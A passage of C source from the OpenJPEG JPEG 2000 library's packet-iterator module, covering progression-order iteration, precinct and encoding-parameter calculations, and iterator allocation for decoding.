LABEL_SKIP; } else { OPJ_UINT32 compno, resno; pi->first = 0; pi->dx = 0; pi->dy = 0; for (compno = 0; compno < pi->numcomps; compno++) { comp = &pi->comps[compno]; for (resno = 0; resno < comp->numresolutions; resno++) { OPJ_UINT32 dx, dy; res = &comp->resolutions[resno]; dx = comp->dx * (1u << (res->pdx + comp->numresolutions - 1 - resno)); dy = comp->dy * (1u << (res->pdy + comp->numresolutions - 1 - resno)); pi->dx = !pi->dx ? dx : opj_uint_min(pi->dx, dx); pi->dy = !pi->dy ? dy : opj_uint_min(pi->dy, dy); } } } if (!pi->tp_on){ pi->poc.ty0 = pi->ty0; pi->poc.tx0 = pi->tx0; pi->poc.ty1 = pi->ty1; pi->poc.tx1 = pi->tx1; } for (pi->y = pi->poc.ty0; pi->y < pi->poc.ty1; pi->y += (OPJ_INT32)(pi->dy - (OPJ_UINT32)(pi->y % (OPJ_INT32)pi->dy))) { for (pi->x = pi->poc.tx0; pi->x < pi->poc.tx1; pi->x += (OPJ_INT32)(pi->dx - (OPJ_UINT32)(pi->x % (OPJ_INT32)pi->dx))) { for (pi->compno = pi->poc.compno0; pi->compno < pi->poc.compno1; pi->compno++) { comp = &pi->comps[pi->compno]; for (pi->resno = pi->poc.resno0; pi->resno < opj_uint_min(pi->poc.resno1, comp->numresolutions); pi->resno++) { OPJ_UINT32 levelno; OPJ_INT32 trx0, try0; OPJ_INT32 trx1, try1; OPJ_UINT32 rpx, rpy; OPJ_INT32 prci, prcj; res = &comp->resolutions[pi->resno]; levelno = comp->numresolutions - 1 - pi->resno; trx0 = opj_int_ceildiv(pi->tx0, (OPJ_INT32)(comp->dx << levelno)); try0 = opj_int_ceildiv(pi->ty0, (OPJ_INT32)(comp->dy << levelno)); trx1 = opj_int_ceildiv(pi->tx1, (OPJ_INT32)(comp->dx << levelno)); try1 = opj_int_ceildiv(pi->ty1, (OPJ_INT32)(comp->dy << levelno)); rpx = res->pdx + levelno; rpy = res->pdy + levelno; if (!((pi->y % (OPJ_INT32)(comp->dy << rpy) == 0) || ((pi->y == pi->ty0) && ((try0 << levelno) % (1 << rpy))))){ continue; } if (!((pi->x % (OPJ_INT32)(comp->dx << rpx) == 0) || ((pi->x == pi->tx0) && ((trx0 << levelno) % (1 << rpx))))){ continue; } if ((res->pw==0)||(res->ph==0)) continue; if ((trx0==trx1)||(try0==try1)) continue; prci = opj_int_floordivpow2(opj_int_ceildiv(pi->x, (OPJ_INT32)(comp->dx << levelno)), (OPJ_INT32)res->pdx) - opj_int_floordivpow2(trx0, (OPJ_INT32)res->pdx); prcj = opj_int_floordivpow2(opj_int_ceildiv(pi->y, (OPJ_INT32)(comp->dy << levelno)), (OPJ_INT32)res->pdy) - opj_int_floordivpow2(try0, (OPJ_INT32)res->pdy); pi->precno = (OPJ_UINT32)(prci + prcj * (OPJ_INT32)res->pw); for (pi->layno = pi->poc.layno0; pi->layno < pi->poc.layno1; pi->layno++) { index = pi->layno * pi->step_l + pi->resno * pi->step_r + pi->compno * pi->step_c + pi->precno * pi->step_p; if (!pi->include[index]) { pi->include[index] = 1; return OPJ_TRUE; } LABEL_SKIP:; } } } } } return OPJ_FALSE; } static OPJ_BOOL opj_pi_next_cprl(opj_pi_iterator_t * pi) { opj_pi_comp_t *comp = NULL; opj_pi_resolution_t *res = NULL; OPJ_UINT32 index = 0; if (!pi->first) { comp = &pi->comps[pi->compno]; goto LABEL_SKIP; } else { pi->first = 0; } for (pi->compno = pi->poc.compno0; pi->compno < pi->poc.compno1; pi->compno++) { OPJ_UINT32 resno; comp = &pi->comps[pi->compno]; pi->dx = 0; pi->dy = 0; for (resno = 0; resno < comp->numresolutions; resno++) { OPJ_UINT32 dx, dy; res = &comp->resolutions[resno]; dx = comp->dx * (1u << (res->pdx + comp->numresolutions - 1 - resno)); dy = comp->dy * (1u << (res->pdy + comp->numresolutions - 1 - resno)); pi->dx = !pi->dx ? dx : opj_uint_min(pi->dx, dx); pi->dy = !pi->dy ? dy : opj_uint_min(pi->dy, dy); } if (!pi->tp_on){ pi->poc.ty0 = pi->ty0; pi->poc.tx0 = pi->tx0; pi->poc.ty1 = pi->ty1; pi->poc.tx1 = pi->tx1; } for (pi->y = pi->poc.ty0; pi->y < pi->poc.ty1; pi->y += (OPJ_INT32)(pi->dy - (OPJ_UINT32)(pi->y % (OPJ_INT32)pi->dy))) { for (pi->x = pi->poc.tx0; pi->x < pi->poc.tx1; pi->x += (OPJ_INT32)(pi->dx - (OPJ_UINT32)(pi->x % (OPJ_INT32)pi->dx))) { for (pi->resno = pi->poc.resno0; pi->resno < opj_uint_min(pi->poc.resno1, comp->numresolutions); pi->resno++) { OPJ_UINT32 levelno; OPJ_INT32 trx0, try0; OPJ_INT32 trx1, try1; OPJ_UINT32 rpx, rpy; OPJ_INT32 prci, prcj; res = &comp->resolutions[pi->resno]; levelno = comp->numresolutions - 1 - pi->resno; trx0 = opj_int_ceildiv(pi->tx0, (OPJ_INT32)(comp->dx << levelno)); try0 = opj_int_ceildiv(pi->ty0, (OPJ_INT32)(comp->dy << levelno)); trx1 = opj_int_ceildiv(pi->tx1, (OPJ_INT32)(comp->dx << levelno)); try1 = opj_int_ceildiv(pi->ty1, (OPJ_INT32)(comp->dy << levelno)); rpx = res->pdx + levelno; rpy = res->pdy + levelno; if (!((pi->y % (OPJ_INT32)(comp->dy << rpy) == 0) || ((pi->y == pi->ty0) && ((try0 << levelno) % (1 << rpy))))){ continue; } if (!((pi->x % (OPJ_INT32)(comp->dx << rpx) == 0) || ((pi->x == pi->tx0) && ((trx0 << levelno) % (1 << rpx))))){ continue; } if ((res->pw==0)||(res->ph==0)) continue; if ((trx0==trx1)||(try0==try1)) continue; prci = opj_int_floordivpow2(opj_int_ceildiv(pi->x, (OPJ_INT32)(comp->dx << levelno)), (OPJ_INT32)res->pdx) - opj_int_floordivpow2(trx0, (OPJ_INT32)res->pdx); prcj = opj_int_floordivpow2(opj_int_ceildiv(pi->y, (OPJ_INT32)(comp->dy << levelno)), (OPJ_INT32)res->pdy) - opj_int_floordivpow2(try0, (OPJ_INT32)res->pdy); pi->precno = (OPJ_UINT32)(prci + prcj * (OPJ_INT32)res->pw); for (pi->layno = pi->poc.layno0; pi->layno < pi->poc.layno1; pi->layno++) { index = pi->layno * pi->step_l + pi->resno * pi->step_r + pi->compno * pi->step_c + pi->precno * pi->step_p; if (!pi->include[index]) { pi->include[index] = 1; return OPJ_TRUE; } LABEL_SKIP:; } } } } } return OPJ_FALSE; } static void opj_get_encoding_parameters( const opj_image_t *p_image, const opj_cp_t *p_cp, OPJ_UINT32 p_tileno, OPJ_INT32 * p_tx0, OPJ_INT32 * p_tx1, OPJ_INT32 * p_ty0, OPJ_INT32 * p_ty1, OPJ_UINT32 * p_dx_min, OPJ_UINT32 * p_dy_min, OPJ_UINT32 * p_max_prec, OPJ_UINT32 * p_max_res ) { /* loop */ OPJ_UINT32 compno, resno; /* pointers */ const opj_tcp_t *l_tcp = 00; const opj_tccp_t * l_tccp = 00; const opj_image_comp_t * l_img_comp = 00; /* position in x and y of tile */ OPJ_UINT32 p, q; /* preconditions */ assert(p_cp != 00); assert(p_image != 00); assert(p_tileno < p_cp->tw * p_cp->th); /* initializations */ l_tcp = &p_cp->tcps [p_tileno]; l_img_comp = p_image->comps; l_tccp = l_tcp->tccps; /* here calculation of tx0, tx1, ty0, ty1, maxprec, dx and dy */ p = p_tileno % p_cp->tw; q = p_tileno / p_cp->tw; /* find extent of tile */ *p_tx0 = opj_int_max((OPJ_INT32)(p_cp->tx0 + p * p_cp->tdx), (OPJ_INT32)p_image->x0); *p_tx1 = opj_int_min((OPJ_INT32)(p_cp->tx0 + (p + 1) * p_cp->tdx), (OPJ_INT32)p_image->x1); *p_ty0 = opj_int_max((OPJ_INT32)(p_cp->ty0 + q * p_cp->tdy), (OPJ_INT32)p_image->y0); *p_ty1 = opj_int_min((OPJ_INT32)(p_cp->ty0 + (q + 1) * p_cp->tdy), (OPJ_INT32)p_image->y1); /* max precision is 0 (can only grow) */ *p_max_prec = 0; *p_max_res = 0; /* take the largest value for dx_min and dy_min */ *p_dx_min = 0x7fffffff; *p_dy_min = 0x7fffffff; for (compno = 0; compno < p_image->numcomps; ++compno) { /* arithmetic variables to calculate */ OPJ_UINT32 l_level_no; OPJ_INT32 l_rx0, l_ry0, l_rx1, l_ry1; OPJ_INT32 l_px0, l_py0, l_px1, py1; OPJ_UINT32 l_pdx, l_pdy; OPJ_UINT32 l_pw, l_ph; OPJ_UINT32 l_product; OPJ_INT32 l_tcx0, l_tcy0, l_tcx1, l_tcy1; l_tcx0 = opj_int_ceildiv(*p_tx0, (OPJ_INT32)l_img_comp->dx); l_tcy0 = opj_int_ceildiv(*p_ty0, (OPJ_INT32)l_img_comp->dy); l_tcx1 = opj_int_ceildiv(*p_tx1, (OPJ_INT32)l_img_comp->dx); l_tcy1 = opj_int_ceildiv(*p_ty1, (OPJ_INT32)l_img_comp->dy); if (l_tccp->numresolutions > *p_max_res) { *p_max_res = l_tccp->numresolutions; } /* use custom size for precincts */ for (resno = 0; resno < l_tccp->numresolutions; ++resno) { OPJ_UINT32 l_dx, l_dy; /* precinct width and height */ l_pdx = l_tccp->prcw[resno]; l_pdy = l_tccp->prch[resno]; l_dx = l_img_comp->dx * (1u << (l_pdx + l_tccp->numresolutions - 1 - resno)); l_dy = l_img_comp->dy * (1u << (l_pdy + l_tccp->numresolutions - 1 - resno)); /* take the minimum size for dx for each comp and resolution */ *p_dx_min = opj_uint_min(*p_dx_min, l_dx); *p_dy_min = opj_uint_min(*p_dy_min, l_dy); /* various calculations of extents */ l_level_no = l_tccp->numresolutions - 1 - resno; l_rx0 = opj_int_ceildivpow2(l_tcx0, (OPJ_INT32)l_level_no); l_ry0 = opj_int_ceildivpow2(l_tcy0, (OPJ_INT32)l_level_no); l_rx1 = opj_int_ceildivpow2(l_tcx1, (OPJ_INT32)l_level_no); l_ry1 = opj_int_ceildivpow2(l_tcy1, (OPJ_INT32)l_level_no); l_px0 = opj_int_floordivpow2(l_rx0, (OPJ_INT32)l_pdx) << l_pdx; l_py0 = opj_int_floordivpow2(l_ry0, (OPJ_INT32)l_pdy) << l_pdy; l_px1 = opj_int_ceildivpow2(l_rx1, (OPJ_INT32)l_pdx) << l_pdx; py1 = opj_int_ceildivpow2(l_ry1, (OPJ_INT32)l_pdy) << l_pdy; l_pw = (l_rx0==l_rx1)?0:(OPJ_UINT32)((l_px1 - l_px0) >> l_pdx); l_ph = (l_ry0==l_ry1)?0:(OPJ_UINT32)((py1 - l_py0) >> l_pdy); l_product = l_pw * l_ph; /* update precision */ if (l_product > *p_max_prec) { *p_max_prec = l_product; } } ++l_img_comp; ++l_tccp; } } static void opj_get_all_encoding_parameters( const opj_image_t *p_image, const opj_cp_t *p_cp, OPJ_UINT32 tileno, OPJ_INT32 * p_tx0, OPJ_INT32 * p_tx1, OPJ_INT32 * p_ty0, OPJ_INT32 * p_ty1, OPJ_UINT32 * p_dx_min, OPJ_UINT32 * p_dy_min, OPJ_UINT32 * p_max_prec, OPJ_UINT32 * p_max_res, OPJ_UINT32 ** p_resolutions ) { /* loop*/ OPJ_UINT32 compno, resno; /* pointers*/ const opj_tcp_t *tcp = 00; const opj_tccp_t * l_tccp = 00; const opj_image_comp_t * l_img_comp = 00; /* to store l_dx, l_dy, w and h for each resolution and component.*/ OPJ_UINT32 * lResolutionPtr; /* position in x and y of tile*/ OPJ_UINT32 p, q; /* non-corrected (in regard to image offset) tile offset */ OPJ_UINT32 l_tx0, l_ty0; /* preconditions in debug*/ assert(p_cp != 00); assert(p_image != 00); assert(tileno < p_cp->tw * p_cp->th); /* initializations*/ tcp = &p_cp->tcps [tileno]; l_tccp = tcp->tccps; l_img_comp = p_image->comps; /* position in x and y of tile*/ p = tileno % p_cp->tw; q = tileno / p_cp->tw; /* here calculation of tx0, tx1, ty0, ty1, maxprec, l_dx and l_dy */ l_tx0 = p_cp->tx0 + p * p_cp->tdx; /* can't be greater than p_image->x1 so won't overflow */ *p_tx0 = (OPJ_INT32)opj_uint_max(l_tx0, p_image->x0); *p_tx1 = (OPJ_INT32)opj_uint_min(opj_uint_adds(l_tx0, p_cp->tdx), p_image->x1); l_ty0 = p_cp->ty0 + q * p_cp->tdy; /* can't be greater than p_image->y1 so won't overflow */ *p_ty0 = (OPJ_INT32)opj_uint_max(l_ty0, p_image->y0); *p_ty1 = (OPJ_INT32)opj_uint_min(opj_uint_adds(l_ty0, p_cp->tdy), p_image->y1); /* max precision and resolution is 0 (can only grow)*/ *p_max_prec = 0; *p_max_res = 0; /* take the largest value for dx_min and dy_min*/ *p_dx_min = 0x7fffffff; *p_dy_min = 0x7fffffff; for (compno = 0; compno < p_image->numcomps; ++compno) { /* aritmetic variables to calculate*/ OPJ_UINT32 l_level_no; OPJ_INT32 l_rx0, l_ry0, l_rx1, l_ry1; OPJ_INT32 l_px0, l_py0, l_px1, py1; OPJ_UINT32 l_product; OPJ_INT32 l_tcx0, l_tcy0, l_tcx1, l_tcy1; OPJ_UINT32 l_pdx, l_pdy , l_pw , l_ph; lResolutionPtr = p_resolutions[compno]; l_tcx0 = opj_int_ceildiv(*p_tx0, (OPJ_INT32)l_img_comp->dx); l_tcy0 = opj_int_ceildiv(*p_ty0, (OPJ_INT32)l_img_comp->dy); l_tcx1 = opj_int_ceildiv(*p_tx1, (OPJ_INT32)l_img_comp->dx); l_tcy1 = opj_int_ceildiv(*p_ty1, (OPJ_INT32)l_img_comp->dy); if (l_tccp->numresolutions > *p_max_res) { *p_max_res = l_tccp->numresolutions; } /* use custom size for precincts*/ l_level_no = l_tccp->numresolutions; for (resno = 0; resno < l_tccp->numresolutions; ++resno) { OPJ_UINT32 l_dx, l_dy; --l_level_no; /* precinct width and height*/ l_pdx = l_tccp->prcw[resno]; l_pdy = l_tccp->prch[resno]; *lResolutionPtr++ = l_pdx; *lResolutionPtr++ = l_pdy; l_dx = l_img_comp->dx * (1u << (l_pdx + l_level_no)); l_dy = l_img_comp->dy * (1u << (l_pdy + l_level_no)); /* take the minimum size for l_dx for each comp and resolution*/ *p_dx_min = (OPJ_UINT32)opj_int_min((OPJ_INT32)*p_dx_min, (OPJ_INT32)l_dx); *p_dy_min = (OPJ_UINT32)opj_int_min((OPJ_INT32)*p_dy_min, (OPJ_INT32)l_dy); /* various calculations of extents*/ l_rx0 = opj_int_ceildivpow2(l_tcx0, (OPJ_INT32)l_level_no); l_ry0 = opj_int_ceildivpow2(l_tcy0, (OPJ_INT32)l_level_no); l_rx1 = opj_int_ceildivpow2(l_tcx1, (OPJ_INT32)l_level_no); l_ry1 = opj_int_ceildivpow2(l_tcy1, (OPJ_INT32)l_level_no); l_px0 = opj_int_floordivpow2(l_rx0, (OPJ_INT32)l_pdx) << l_pdx; l_py0 = opj_int_floordivpow2(l_ry0, (OPJ_INT32)l_pdy) << l_pdy; l_px1 = opj_int_ceildivpow2(l_rx1, (OPJ_INT32)l_pdx) << l_pdx; py1 = opj_int_ceildivpow2(l_ry1, (OPJ_INT32)l_pdy) << l_pdy; l_pw = (l_rx0==l_rx1)?0:(OPJ_UINT32)((l_px1 - l_px0) >> l_pdx); l_ph = (l_ry0==l_ry1)?0:(OPJ_UINT32)((py1 - l_py0) >> l_pdy); *lResolutionPtr++ = l_pw; *lResolutionPtr++ = l_ph; l_product = l_pw * l_ph; /* update precision*/ if (l_product > *p_max_prec) { *p_max_prec = l_product; } } ++l_tccp; ++l_img_comp; } } static opj_pi_iterator_t * opj_pi_create( const opj_image_t *image, const opj_cp_t *cp, OPJ_UINT32 tileno ) { /* loop*/ OPJ_UINT32 pino, compno; /* number of poc in the p_pi*/ OPJ_UINT32 l_poc_bound; /* pointers to tile coding parameters and components.*/ opj_pi_iterator_t *l_pi = 00; opj_tcp_t *tcp = 00; const opj_tccp_t *tccp = 00; /* current packet iterator being allocated*/ opj_pi_iterator_t *l_current_pi = 00; /* preconditions in debug*/ assert(cp != 00); assert(image != 00); assert(tileno < cp->tw * cp->th); /* initializations*/ tcp = &cp->tcps[tileno]; l_poc_bound = tcp->numpocs+1; /* memory allocations*/ l_pi = (opj_pi_iterator_t*) opj_calloc((l_poc_bound), sizeof(opj_pi_iterator_t)); if (!l_pi) { return NULL; } l_current_pi = l_pi; for (pino = 0; pino < l_poc_bound ; ++pino) { l_current_pi->comps = (opj_pi_comp_t*) opj_calloc(image->numcomps, sizeof(opj_pi_comp_t)); if (! l_current_pi->comps) { opj_pi_destroy(l_pi, l_poc_bound); return NULL; } l_current_pi->numcomps = image->numcomps; for (compno = 0; compno < image->numcomps; ++compno) { opj_pi_comp_t *comp = &l_current_pi->comps[compno]; tccp = &tcp->tccps[compno]; comp->resolutions = (opj_pi_resolution_t*) opj_calloc(tccp->numresolutions, sizeof(opj_pi_resolution_t)); if (!comp->resolutions) { opj_pi_destroy(l_pi, l_poc_bound); return 00; } comp->numresolutions = tccp->numresolutions; } ++l_current_pi; } return l_pi; } static void opj_pi_update_encode_poc_and_final ( opj_cp_t *p_cp, OPJ_UINT32 p_tileno, OPJ_INT32 p_tx0, OPJ_INT32 p_tx1, OPJ_INT32 p_ty0, OPJ_INT32 p_ty1, OPJ_UINT32 p_max_prec, OPJ_UINT32 p_max_res, OPJ_UINT32 p_dx_min, OPJ_UINT32 p_dy_min) { /* loop*/ OPJ_UINT32 pino; /* tile coding parameter*/ opj_tcp_t *l_tcp = 00; /* current poc being updated*/ opj_poc_t * l_current_poc = 00; /* number of pocs*/ OPJ_UINT32 l_poc_bound; OPJ_ARG_NOT_USED(p_max_res); /* preconditions in debug*/ assert(p_cp != 00); assert(p_tileno < p_cp->tw * p_cp->th); /* initializations*/ l_tcp = &p_cp->tcps [p_tileno]; /* number of iterations in the loop */ l_poc_bound = l_tcp->numpocs+1; /* start at first element, and to make sure the compiler will not make a calculation each time in the loop store a pointer to the current element to modify rather than l_tcp->pocs[i]*/ l_current_poc = l_tcp->pocs; l_current_poc->compS = l_current_poc->compno0; l_current_poc->compE = l_current_poc->compno1; l_current_poc->resS = l_current_poc->resno0; l_current_poc->resE = l_current_poc->resno1; l_current_poc->layE = l_current_poc->layno1; /* special treatment for the first element*/ l_current_poc->layS = 0; l_current_poc->prg = l_current_poc->prg1; l_current_poc->prcS = 0; l_current_poc->prcE = p_max_prec; l_current_poc->txS = (OPJ_UINT32)p_tx0; l_current_poc->txE = (OPJ_UINT32)p_tx1; l_current_poc->tyS = (OPJ_UINT32)p_ty0; l_current_poc->tyE = (OPJ_UINT32)p_ty1; l_current_poc->dx = p_dx_min; l_current_poc->dy = p_dy_min; ++ l_current_poc; for (pino = 1;pino < l_poc_bound ; ++pino) { l_current_poc->compS = l_current_poc->compno0; l_current_poc->compE= l_current_poc->compno1; l_current_poc->resS = l_current_poc->resno0; l_current_poc->resE = l_current_poc->resno1; l_current_poc->layE = l_current_poc->layno1; l_current_poc->prg = l_current_poc->prg1; l_current_poc->prcS = 0; /* special treatment here different from the first element*/ l_current_poc->layS = (l_current_poc->layE > (l_current_poc-1)->layE) ? l_current_poc->layE : 0; l_current_poc->prcE = p_max_prec; l_current_poc->txS = (OPJ_UINT32)p_tx0; l_current_poc->txE = (OPJ_UINT32)p_tx1; l_current_poc->tyS = (OPJ_UINT32)p_ty0; l_current_poc->tyE = (OPJ_UINT32)p_ty1; l_current_poc->dx = p_dx_min; l_current_poc->dy = p_dy_min; ++ l_current_poc; } } static void opj_pi_update_encode_not_poc ( opj_cp_t *p_cp, OPJ_UINT32 p_num_comps, OPJ_UINT32 p_tileno, OPJ_INT32 p_tx0, OPJ_INT32 p_tx1, OPJ_INT32 p_ty0, OPJ_INT32 p_ty1, OPJ_UINT32 p_max_prec, OPJ_UINT32 p_max_res, OPJ_UINT32 p_dx_min, OPJ_UINT32 p_dy_min) { /* loop*/ OPJ_UINT32 pino; /* tile coding parameter*/ opj_tcp_t *l_tcp = 00; /* current poc being updated*/ opj_poc_t * l_current_poc = 00; /* number of pocs*/ OPJ_UINT32 l_poc_bound; /* preconditions in debug*/ assert(p_cp != 00); assert(p_tileno < p_cp->tw * p_cp->th); /* initializations*/ l_tcp = &p_cp->tcps [p_tileno]; /* number of iterations in the loop */ l_poc_bound = l_tcp->numpocs+1; /* start at first element, and to make sure the compiler will not make a calculation each time in the loop store a pointer to the current element to modify rather than l_tcp->pocs[i]*/ l_current_poc = l_tcp->pocs; for (pino = 0; pino < l_poc_bound ; ++pino) { l_current_poc->compS = 0; l_current_poc->compE = p_num_comps;/*p_image->numcomps;*/ l_current_poc->resS = 0; l_current_poc->resE = p_max_res; l_current_poc->layS = 0; l_current_poc->layE = l_tcp->numlayers; l_current_poc->prg = l_tcp->prg; l_current_poc->prcS = 0; l_current_poc->prcE = p_max_prec; l_current_poc->txS = (OPJ_UINT32)p_tx0; l_current_poc->txE = (OPJ_UINT32)p_tx1; l_current_poc->tyS = (OPJ_UINT32)p_ty0; l_current_poc->tyE = (OPJ_UINT32)p_ty1; l_current_poc->dx = p_dx_min; l_current_poc->dy = p_dy_min; ++ l_current_poc; } } static void opj_pi_update_decode_poc (opj_pi_iterator_t * p_pi, opj_tcp_t * p_tcp, OPJ_UINT32 p_max_precision, OPJ_UINT32 p_max_res) { /* loop*/ OPJ_UINT32 pino; /* encoding prameters to set*/ OPJ_UINT32 l_bound; opj_pi_iterator_t * l_current_pi = 00; opj_poc_t* l_current_poc = 0; OPJ_ARG_NOT_USED(p_max_res); /* preconditions in debug*/ assert(p_pi != 00); assert(p_tcp != 00); /* initializations*/ l_bound = p_tcp->numpocs+1; l_current_pi = p_pi; l_current_poc = p_tcp->pocs; for (pino = 0;pino<l_bound;++pino) { l_current_pi->poc.prg = l_current_poc->prg; /* Progression Order #0 */ l_current_pi->first = 1; l_current_pi->poc.resno0 = l_current_poc->resno0; /* Resolution Level Index #0 (Start) */ l_current_pi->poc.compno0 = l_current_poc->compno0; /* Component Index #0 (Start) */ l_current_pi->poc.layno0 = 0; l_current_pi->poc.precno0 = 0; l_current_pi->poc.resno1 = l_current_poc->resno1; /* Resolution Level Index #0 (End) */ l_current_pi->poc.compno1 = l_current_poc->compno1; /* Component Index #0 (End) */ l_current_pi->poc.layno1 = l_current_poc->layno1; /* Layer Index #0 (End) */ l_current_pi->poc.precno1 = p_max_precision; ++l_current_pi; ++l_current_poc; } } static void opj_pi_update_decode_not_poc (opj_pi_iterator_t * p_pi, opj_tcp_t * p_tcp, OPJ_UINT32 p_max_precision, OPJ_UINT32 p_max_res) { /* loop*/ OPJ_UINT32 pino; /* encoding prameters to set*/ OPJ_UINT32 l_bound; opj_pi_iterator_t * l_current_pi = 00; /* preconditions in debug*/ assert(p_tcp != 00); assert(p_pi != 00); /* initializations*/ l_bound = p_tcp->numpocs+1; l_current_pi = p_pi; for (pino = 0;pino<l_bound;++pino) { l_current_pi->poc.prg = p_tcp->prg; l_current_pi->first = 1; l_current_pi->poc.resno0 = 0; l_current_pi->poc.compno0 = 0; l_current_pi->poc.layno0 = 0; l_current_pi->poc.precno0 = 0; l_current_pi->poc.resno1 = p_max_res; l_current_pi->poc.compno1 = l_current_pi->numcomps; l_current_pi->poc.layno1 = p_tcp->numlayers; l_current_pi->poc.precno1 = p_max_precision; ++l_current_pi; } } static OPJ_BOOL opj_pi_check_next_level( OPJ_INT32 pos, opj_cp_t *cp, OPJ_UINT32 tileno, OPJ_UINT32 pino, const OPJ_CHAR *prog) { OPJ_INT32 i; opj_tcp_t *tcps =&cp->tcps[tileno]; opj_poc_t *tcp = &tcps->pocs[pino]; if(pos>=0){ for(i=pos;pos>=0;i--){ switch(prog[i]){ case 'R': if(tcp->res_t==tcp->resE){ if(opj_pi_check_next_level(pos-1,cp,tileno,pino,prog)){ return OPJ_TRUE; }else{ return OPJ_FALSE; } }else{ return OPJ_TRUE; } break; case 'C': if(tcp->comp_t==tcp->compE){ if(opj_pi_check_next_level(pos-1,cp,tileno,pino,prog)){ return OPJ_TRUE; }else{ return OPJ_FALSE; } }else{ return OPJ_TRUE; } break; case 'L': if(tcp->lay_t==tcp->layE){ if(opj_pi_check_next_level(pos-1,cp,tileno,pino,prog)){ return OPJ_TRUE; }else{ return OPJ_FALSE; } }else{ return OPJ_TRUE; } break; case 'P': switch(tcp->prg){ case OPJ_LRCP: /* fall through */ case OPJ_RLCP: if(tcp->prc_t == tcp->prcE){ if(opj_pi_check_next_level(i-1,cp,tileno,pino,prog)){ return OPJ_TRUE; }else{ return OPJ_FALSE; } }else{ return OPJ_TRUE; } break; default: if(tcp->tx0_t == tcp->txE){ /*TY*/ if(tcp->ty0_t == tcp->tyE){ if(opj_pi_check_next_level(i-1,cp,tileno,pino,prog)){ return OPJ_TRUE; }else{ return OPJ_FALSE; } }else{ return OPJ_TRUE; }/*TY*/ }else{ return OPJ_TRUE; } break; }/*end case P*/ }/*end switch*/ }/*end for*/ }/*end if*/ return OPJ_FALSE; } /* ========================================================== Packet iterator interface ========================================================== */ opj_pi_iterator_t *opj_pi_create_decode(opj_image_t *p_image, opj_cp_t *p_cp, OPJ_UINT32 p_tile_no) { /* loop */ OPJ_UINT32 pino; OPJ_UINT32 compno, resno; /* to store w, h, dx and dy fro all components and resolutions */ OPJ_UINT32 * l_tmp_data; OPJ_UINT32 ** l_tmp_ptr; /* encoding prameters to set */ OPJ_UINT32 l_max_res; OPJ_UINT32 l_max_prec; OPJ_INT32 l_tx0,l_tx1,l_ty0,l_ty1; OPJ_UINT32 l_dx_min,l_dy_min; OPJ_UINT32 l_bound; OPJ_UINT32 l_step_p , l_step_c , l_step_r , l_step_l ; OPJ_UINT32 l_data_stride; /* pointers */ opj_pi_iterator_t *l_pi = 00; opj_tcp_t *l_tcp = 00; const opj_tccp_t *l_tccp = 00; opj_pi_comp_t *l_current_comp = 00; opj_image_comp_t * l_img_comp = 00; opj_pi_iterator_t * l_current_pi = 00; OPJ_UINT32 * l_encoding_value_ptr = 00; /* preconditions in debug */ assert(p_cp != 00); assert(p_image != 00); assert(p_tile_no < p_cp->tw * p_cp->th); /* initializations */ l_tcp = &p_cp->tcps[p_tile_no]; l_bound = l_tcp->numpocs+1; l_data_stride = 4 * OPJ_J2K_MAXRLVLS; l_tmp_data = (OPJ_UINT32*)opj_malloc( l_data_stride * p_image->numcomps * sizeof(OPJ_UINT32)); if (! l_tmp_data) { return 00; } l_tmp_ptr = (OPJ_UINT32**)opj_malloc( p_image->numcomps * sizeof(OPJ_UINT32 *)); if (! l_tmp_ptr) { opj_free(l_tmp_data); return 00; } /* memory allocation for pi */ l_pi = opj_pi_create(p_image, p_cp, p_tile_no); if (!l_pi) { opj_free(l_tmp_data); opj_free(l_tmp_ptr); return 00; } l_encoding_value_ptr = l_tmp_data; /* update pointer array */ for (compno = 0; compno < p_image->numcomps; ++compno) { l_tmp_ptr[compno] = l_encoding_value_ptr; l_encoding_value_ptr += l_data_stride; } /* get encoding parameters */ opj_get_all_encoding_parameters(p_image,p_cp,p_tile_no,&l_tx0,&l_tx1,&l_ty0,&l_ty1,&l_dx_min,&l_dy_min,&l_max_prec,&l_max_res,l_tmp_ptr); /* step calculations */ l_step_p = 1; l_step_c = l_max_prec * l_step_p; l_step_r = p_image->numcomps * l_step_c; l_step_l = l_max_res * l_step_r; /* set values for first packet iterator */ l_current_pi = l_pi; /* memory allocation for include */ /* prevent an integer overflow issue */ l_current_pi->include = 00; if (l_step_l <= (SIZE_MAX / (l_tcp->numlayers + 1U))) { l_current_pi->include = (OPJ_INT16*) opj_calloc((l_tcp->numlayers +1) * l_step_l, sizeof(OPJ_INT16)); } if (!l_current_pi->include) { opj_free(l_tmp_data); opj_free(l_tmp_ptr); opj_pi_destroy(l_pi, l_bound); return 00; } /* special treatment for the first packet iterator */ l_current_comp = l_current_pi->comps; l_img_comp = p_image->comps; l_tccp = l_tcp->tccps; l_current_pi->tx0 = l_tx0; l_current_pi->ty0 = l_ty0; l_current_pi->tx1 = l_tx1; l_current_pi->ty1 = l_ty1; /*l_current_pi->dx = l_img_comp->dx;*/ /*l_current_pi->dy = l_img_comp->dy;*/ l_current_pi->step_p = l_step_p; l_current_pi->step_c = l_step_c; l_current_pi->step_r = l_step_r; l_current_pi->step_l = l_step_l; /* allocation for components and number of components has already been calculated by opj_pi_create */ for (compno = 0; compno < l_current_pi->numcomps; ++compno) { opj_pi_resolution_t *l_res = l_current_comp->resolutions; l_encoding_value_ptr = l_tmp_ptr[compno]; l_current_comp->dx = l_img_comp->dx; l_current_comp->dy = l_img_comp->dy; /* resolutions have already been initialized */ for (resno = 0; resno < l_current_comp->numresolutions; resno++) { l_res->pdx = *(l_encoding_value_ptr++); l_res->pdy = *(l_encoding_value_ptr++); l_res->pw = *(l_encoding_value_ptr++); l_res->ph = *(l_encoding_value_ptr++); ++l_res; } ++l_current_comp; ++l_img_comp; ++l_tccp; } ++l_current_pi; for (pino = 1 ; pino<l_bound ; ++pino ) { l_current_comp = l_current_pi->comps; l_img_comp = p_image->comps; l_tccp = l_tcp->tccps; l_current_pi->tx0 = l_tx0; l_current_pi->ty0 = l_ty0; l_current_pi->tx1 = l_tx1; l_current_pi->ty1 = l_ty1; /*l_current_pi->dx = l_dx_min;*/ /*l_current_pi->dy = l_dy_min;*/ l_current_pi->step_p = l_step_p; l_current_pi->step_c = l_step_c; l_current_pi->step_r = l_step_r; l_current_pi->step_l = l_step_l; /* allocation for components and number of components has already been calculated by opj_pi_create */ for (compno = 0; compno < l_current_pi->numcomps; ++compno) { opj_pi_resolution_t *l_res = l_current_comp->resolutions; l_encoding_value_ptr = l_tmp_ptr[compno]; l_current_comp->dx = l_img_comp->dx; l_current_comp->dy = l_img_comp->dy; /* resolutions have already been initialized */ for (resno = 0; resno < 